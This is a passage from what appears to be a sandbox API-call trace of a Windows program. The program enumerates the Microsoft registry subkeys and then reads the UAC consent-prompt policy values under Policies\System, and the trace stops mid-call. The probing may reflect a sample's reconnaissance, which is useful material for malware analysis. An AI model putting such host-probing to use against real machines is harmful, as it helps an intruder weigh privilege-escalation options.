dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.281] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x123c1a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0256.281] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.281] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.281] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.281] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.281] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2d, lpName=0x123b9b8, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0256.281] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.281] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x123c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0256.281] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.281] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.281] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.281] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.281] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2e, lpName=0x123b9b8, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0256.281] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0256.281] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x123c1a8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0256.281] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.281] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.281] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.281] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.282] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2f, lpName=0x123b9b8, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0256.282] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0256.282] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x123c160, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0256.282] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.282] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.282] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.282] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.282] RegEnumKeyW (in: hKey=0x38, dwIndex=0x30, lpName=0x123b9b8, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0256.282] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0256.282] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x123c1a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0256.282] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.282] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.282] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.282] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.282] RegEnumKeyW (in: hKey=0x38, dwIndex=0x31, lpName=0x123b9b8, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0256.282] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.282] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x123c160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0256.282] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.282] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.282] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.282] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.282] RegEnumKeyW (in: hKey=0x38, dwIndex=0x32, lpName=0x123b9b8, cchName=0x104 | out: lpName="Loki") returned 0x0 [0256.282] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.282] RegEnumKeyW (in: hKey=0x38, dwIndex=0x33, lpName=0x123b9b8, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0256.283] RegEnumKeyW (in: hKey=0x38, dwIndex=0x34, lpName=0x123b9b8, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0256.283] RegEnumKeyW (in: hKey=0x38, dwIndex=0x35, lpName=0x123b9b8, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0256.283] RegEnumKeyW (in: hKey=0x38, dwIndex=0x36, lpName=0x123b9b8, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0256.283] RegEnumKeyW (in: hKey=0x38, dwIndex=0x37, lpName=0x123b9b8, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0256.283] RegEnumKeyW (in: hKey=0x38, dwIndex=0x38, lpName=0x123b9b8, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0256.283] RegEnumKeyW (in: hKey=0x38, dwIndex=0x39, lpName=0x123b9b8, cchName=0x104 | out: lpName="MMC") returned 0x0 [0256.283] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3a, lpName=0x123b9b8, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0256.283] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3b, lpName=0x123b9b8, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0256.283] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3c, lpName=0x123b9b8, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0256.283] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3d, lpName=0x123b9b8, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0256.283] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3e, lpName=0x123b9b8, cchName=0x104 | out: lpName="MSF") returned 0x0 [0256.283] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3f, lpName=0x123b9b8, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0256.283] RegEnumKeyW (in: hKey=0x38, dwIndex=0x40, lpName=0x123b9b8, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0256.283] RegEnumKeyW (in: hKey=0x38, dwIndex=0x41, lpName=0x123b9b8, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0256.283] RegEnumKeyW (in: hKey=0x38, dwIndex=0x42, lpName=0x123b9b8, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0256.283] RegEnumKeyW (in: hKey=0x38, dwIndex=0x43, lpName=0x123b9b8, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0256.284] RegEnumKeyW (in: hKey=0x38, dwIndex=0x44, lpName=0x123b9b8, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0256.284] RegEnumKeyW (in: hKey=0x38, dwIndex=0x45, lpName=0x123b9b8, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0256.284] RegEnumKeyW (in: hKey=0x38, dwIndex=0x46, lpName=0x123b9b8, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0256.284] RegEnumKeyW (in: hKey=0x38, dwIndex=0x47, lpName=0x123b9b8, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0256.284] RegEnumKeyW (in: hKey=0x38, dwIndex=0x48, lpName=0x123b9b8, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0256.284] RegEnumKeyW (in: hKey=0x38, dwIndex=0x49, lpName=0x123b9b8, cchName=0x104 | out: lpName="Network") returned 0x0 [0256.284] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4a, lpName=0x123b9b8, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0256.284] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4b, lpName=0x123b9b8, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0256.284] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4c, lpName=0x123b9b8, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0256.284] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4d, lpName=0x123b9b8, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0256.284] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4e, lpName=0x123b9b8, cchName=0x104 | out: lpName="Office") returned 0x0 [0256.284] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4f, lpName=0x123b9b8, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0256.284] RegEnumKeyW (in: hKey=0x38, dwIndex=0x50, lpName=0x123b9b8, cchName=0x104 | out: lpName="Ole") returned 0x0 [0256.284] RegEnumKeyW (in: hKey=0x38, dwIndex=0x51, lpName=0x123b9b8, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0256.284] RegEnumKeyW (in: hKey=0x38, dwIndex=0x52, lpName=0x123b9b8, cchName=0x104 | out: lpName="PLA") returned 0x0 [0256.284] RegEnumKeyW (in: hKey=0x38, dwIndex=0x53, lpName=0x123b9b8, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0256.285] RegEnumKeyW (in: hKey=0x38, dwIndex=0x54, lpName=0x123b9b8, cchName=0x104 | out: lpName="Print") returned 0x0 [0256.285] RegEnumKeyW (in: hKey=0x38, dwIndex=0x55, lpName=0x123b9b8, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0256.285] RegEnumKeyW (in: hKey=0x38, dwIndex=0x56, lpName=0x123b9b8, cchName=0x104 | out: lpName="Ras") returned 0x0 [0256.285] RegEnumKeyW (in: hKey=0x38, dwIndex=0x57, lpName=0x123b9b8, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0256.285] RegEnumKeyW (in: hKey=0x38, dwIndex=0x58, lpName=0x123b9b8, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0256.285] RegEnumKeyW (in: hKey=0x38, dwIndex=0x59, lpName=0x123b9b8, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0256.285] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5a, lpName=0x123b9b8, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0256.285] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5b, lpName=0x123b9b8, cchName=0x104 | out: lpName="Router") returned 0x0 [0256.285] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5c, lpName=0x123b9b8, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0256.285] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5d, lpName=0x123b9b8, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0256.285] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5e, lpName=0x123b9b8, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0256.285] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5f, lpName=0x123b9b8, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0256.285] RegEnumKeyW (in: hKey=0x38, dwIndex=0x60, lpName=0x123b9b8, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0256.285] RegEnumKeyW (in: hKey=0x38, dwIndex=0x61, lpName=0x123b9b8, cchName=0x104 | out: lpName="Shared") returned 0x0 [0256.285] RegEnumKeyW (in: hKey=0x38, dwIndex=0x62, lpName=0x123b9b8, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0256.285] RegEnumKeyW (in: hKey=0x38, dwIndex=0x63, lpName=0x123b9b8, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0256.285] RegEnumKeyW (in: hKey=0x38, dwIndex=0x64, lpName=0x123b9b8, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0256.286] RegEnumKeyW (in: hKey=0x38, dwIndex=0x65, lpName=0x123b9b8, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0256.286] RegEnumKeyW (in: hKey=0x38, dwIndex=0x66, lpName=0x123b9b8, cchName=0x104 | out: lpName="Software") returned 0x0 [0256.286] RegEnumKeyW (in: hKey=0x38, dwIndex=0x67, lpName=0x123b9b8, cchName=0x104 | out: lpName="Speech") returned 0x0 [0256.286] RegEnumKeyW (in: hKey=0x38, dwIndex=0x68, lpName=0x123b9b8, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0256.286] RegEnumKeyW (in: hKey=0x38, dwIndex=0x69, lpName=0x123b9b8, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0256.286] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6a, lpName=0x123b9b8, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0256.286] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6b, lpName=0x123b9b8, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0256.286] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6c, lpName=0x123b9b8, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0256.286] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6d, lpName=0x123b9b8, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0256.286] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6e, lpName=0x123b9b8, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0256.286] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6f, lpName=0x123b9b8, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0256.286] RegEnumKeyW (in: hKey=0x38, dwIndex=0x70, lpName=0x123b9b8, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0256.286] RegEnumKeyW (in: hKey=0x38, dwIndex=0x71, lpName=0x123b9b8, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0256.286] RegEnumKeyW (in: hKey=0x38, dwIndex=0x72, lpName=0x123b9b8, cchName=0x104 | out: lpName="TPG") returned 0x0 [0256.286] RegEnumKeyW (in: hKey=0x38, dwIndex=0x73, lpName=0x123b9b8, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0256.286] RegEnumKeyW (in: hKey=0x38, dwIndex=0x74, lpName=0x123b9b8, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0256.287] RegEnumKeyW (in: hKey=0x38, dwIndex=0x75, lpName=0x123b9b8, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0256.287] RegEnumKeyW (in: hKey=0x38, dwIndex=0x76, lpName=0x123b9b8, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0256.287] RegEnumKeyW (in: hKey=0x38, dwIndex=0x77, lpName=0x123b9b8, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0256.287] RegEnumKeyW (in: hKey=0x38, dwIndex=0x78, lpName=0x123b9b8, cchName=0x104 | out: lpName="Updates") returned 0x0 [0256.287] RegEnumKeyW (in: hKey=0x38, dwIndex=0x79, lpName=0x123b9b8, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0256.287] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7a, lpName=0x123b9b8, cchName=0x104 | out: lpName="VBA") returned 0x0 [0256.287] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7b, lpName=0x123b9b8, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0256.287] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7c, lpName=0x123b9b8, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0256.287] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7d, lpName=0x123b9b8, cchName=0x104 | out: lpName="WAB") returned 0x0 [0256.287] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7e, lpName=0x123b9b8, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0256.287] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7f, lpName=0x123b9b8, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0256.287] RegEnumKeyW (in: hKey=0x38, dwIndex=0x80, lpName=0x123b9b8, cchName=0x104 | out: lpName="Windows") returned 0x0 [0256.287] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0256.287] RegCloseKey (hKey=0x38) returned 0x0 [0256.287] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x123b9b8, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0256.288] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0256.288] RegCloseKey (hKey=0xc4) returned 0x0 [0256.288] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x123b9b8, cchName=0x104 | out: lpName="App Management") returned 0x0 [0256.288] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x123b9b8, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0256.288] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x123b9b8, cchName=0x104 | out: lpName="Applets") returned 0x0 [0256.288] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x123b9b8, cchName=0x104 | out: lpName="Audio") returned 0x0 [0256.288] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x123b9b8, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0256.288] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x123b9b8, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0256.288] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x123b9b8, cchName=0x104 | out: lpName="BITS") returned 0x0 [0256.288] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x123b9b8, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0256.288] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x123b9b8, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0256.288] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x123b9b8, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0256.288] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x123b9b8, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0256.288] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x123b9b8, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0256.288] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x123b9b8, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0256.288] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x123b9b8, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0256.289] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x123b9b8, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0256.289] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x123b9b8, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0256.289] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x123b9b8, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0256.289] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x123b9b8, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0256.289] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x123b9b8, cchName=0x104 | out: lpName="Ext") returned 0x0 [0256.289] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x123b9b8, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0256.289] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x123b9b8, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0256.289] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x123b9b8, cchName=0x104 | out: lpName="Hints") returned 0x0 [0256.289] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x123b9b8, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0256.289] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x123b9b8, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0256.289] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x123b9b8, cchName=0x104 | out: lpName="IME") returned 0x0 [0256.289] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x123b9b8, cchName=0x104 | out: lpName="Installer") returned 0x0 [0256.289] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x123b9b8, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0256.289] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x123b9b8, cchName=0x104 | out: lpName="MCT") returned 0x0 [0256.289] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x123b9b8, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0256.289] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x123b9b8, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0256.290] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x123b9b8, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0256.290] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x123b9b8, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0256.290] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x123b9b8, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0256.290] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x123b9b8, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0256.290] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x123b9b8, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0256.290] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x123b9b8, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0256.290] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x123b9b8, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0256.290] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x123b9b8, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0256.290] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x123b9b8, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0256.290] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x123b9b8, cchName=0x104 | out: lpName="Policies") returned 0x0 [0256.290] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0256.290] RegCloseKey (hKey=0x38) returned 0x0 [0256.290] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x123b9b8, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0256.290] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x123b9b8, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0256.290] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x123b9b8, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0256.290] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x123b9b8, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0256.291] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x123b9b8, cchName=0x104 | out: lpName="System") returned 0x0 [0256.291] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0256.291] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123b9b8) returned 1 [0256.291] RegCloseKey (hKey=0xc4) returned 0x0 [0256.291] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123b8e8) returned 1 [0256.291] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.291] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.291] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: 